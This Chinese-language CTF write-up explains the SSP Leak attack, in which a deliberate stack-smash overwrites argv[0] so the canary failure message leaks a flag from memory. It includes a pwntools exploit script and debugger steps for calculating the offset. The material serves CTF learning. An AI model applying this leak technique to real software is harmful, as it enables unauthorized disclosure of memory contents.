This page looks best with JavaScript enabled

SSP Leak任意地址读取攻击

 ·  ☕ 4 min read · 👀... views

这两天在做四叶草极客大挑战的题,其中有一道是非常经典的SSP Leak例题,但我还是在上面作死折腾了好久,这里做一个记录。
题目+exp连接:https://pan.baidu.com/s/1P_KnfBkRsA0-pUapYDRZKA 提取码: ubva

0x00 SSP Leak

SSP(Stack Smashing Protect) Leak —— 故意触发栈溢出保护泄露攻击 是通过故意触发canary保护并修改要输出变量(argv[0])的地址来实现任意地址读取的一种攻击。这种攻击方式因为不能get shell因此用的比较少,但是当我们需要泄露的flag或者其他东西存在于内存中时,我们可以使用一个栈溢出漏洞来把它们泄露出来。

这种攻击方式的原理很简单,当canary被检测到修改时,函数不会经过正常的流程结束栈帧并继续执行接下来的代码,而是跳转到call __stack_chk_fail处,然后对于我们来说,执行完这个函数,程序退出,屏幕上留下一行

*** stack smashing detected ***:[XXX] terminated

[xxx]是程序的名字,那么一定是由 call __stack_chk_fail 函数输出的,而且,程序的名字一定是个来自外部的变量(毕竟ELF格式里面可没有保存程序名)。那么,我们什么时候输入过程序名呢? 这应该是非常容易的一个问题了,char *argv[] 是main函数的参数,argv[0]存储的就是程序名,且这个argv[0]就存在于栈上。想明白这个过程,那就很容易理解这个攻击方式了,既然输出的内容是一个外部变量,如果我们利用栈溢出覆盖argv[0]的指针为我们想要输出的字符串的地址,那么就实现了任意地址读取攻击。这里贴上 call __stack_chk_fail 函数的源代码,以助于更好理解这个攻击方式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

0x01 题目分析

1

IDA一波,可以看到,思路是非常清晰的。先检查本地有无flag文件,有的话申请一块内存将其读入,并将内存地址输出,然后漏洞函数gets实现栈溢出,但因为存在canary保护而无法直接构建ROP链,是一道非常典型的SSP Leak例题,我们只需要将它输出的内存地址(保存flag的地址)保存下来,然后覆盖到argv[0]上,使call __stack_chk_fail函数将内存中的内容输出即可。那直接吧flag的地址乘上一个足够大的数覆盖上去就直接get flag了呀,很简单,直接上exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
sh = process("./canary2")
#sh = remote("pwnto.fun", 10007)
elf = ELF("canary2")
context.log_level = "debug"

sh.recvuntil(": ")
buf = sh.recvuntil("\n")[:-1]
sh.recvline()
buf =  eval(buf)
print buf

payload = p64(buf)*100

sh.sendline(payload)
sh.interactive()

0x02 作死开始

上面的exp是通过一个绝对大的数来使保存着flag的地址覆盖到栈上argv[0]的指针上。那在栈上,argv[0]的指针究竟距离输入缓冲区的栈顶的偏移量究竟是多少呢?也就是说我们需要填充多少位的垃圾数据才能覆盖到 *argv[0]。这一定是可以计算出来的,而且一定是固定的一个偏移量值。折腾之路由此开始。

首先我用pwndbg运行程序,然后用cyclic生成一组足以覆盖canary的字符串(不能太长,否则会覆盖argv[0]),用search -s搜索两个字符串的地址
2
3
4

然后将两个地址相减,因为栈是由低地址向高地址增长的,所以得到一个负数,取绝对值就是十进制的1127。哎,不对啊,在上面的exp中,将8位的地址乘上100就可以覆盖到 *argv[0]了,也就是说这个偏移量是一定小于800的,但这里却计算出来 *argv[0]与栈顶的偏移量是1127,那肯定是有个地方算错了。

这里感谢 danis@Vidar 师傅的指点,我上面的方法,通过 “search -s /home/robye/canary2” 实际上找到的是/home/robye/canary2这一字符串的地址,而非指向argv[0]的地址。所以这题只需要用argv命令打印出指向argv[0]的地址,将其与栈顶地址相减即可

5

0x7fffffffdfa8 - 0x7fffffffdea0 = 264

那也就是栈顶距离,argv[0]的指针偏移量是264,也就是说我们只需要填充264位的垃圾数据然后再加上flag的地址即可,那payload便可修改如下

payload = p64(buf)*(264/8 + 1)

danis师傅指点我还可以使用tele打印rsp寄存器的值来观察计算偏移。
6

可以非常清晰的看到,红框部分是我输入的字符串所保存的位置(也就是栈顶地址),黄色标记处是栈上指向argv[0]的地址。而红色圆圈标记的则与search -s搜索到的字符串地址相一致,它正是argv[0]的值,也就是程序名,黄色标记的地址指向它意思是它是其指针,这正好验证了前面的分析,并且可以看到,tele显示出的地址与上面search -s + argv方法得到的地址完全一致。我还是太年轻了,做题经验越多,姿势才能越骚。

0x03 参考资料

  1. https://www.jianshu.com/p/0ea02a59d208
  2. https://bbs.ichunqiu.com/thread-44069-1-1.html
  3. http://www.mamicode.com/info-detail-2436526.html
Share on

Qfrost
WRITTEN BY
Qfrost
CTFer, Anti-Cheater, LLVM Committer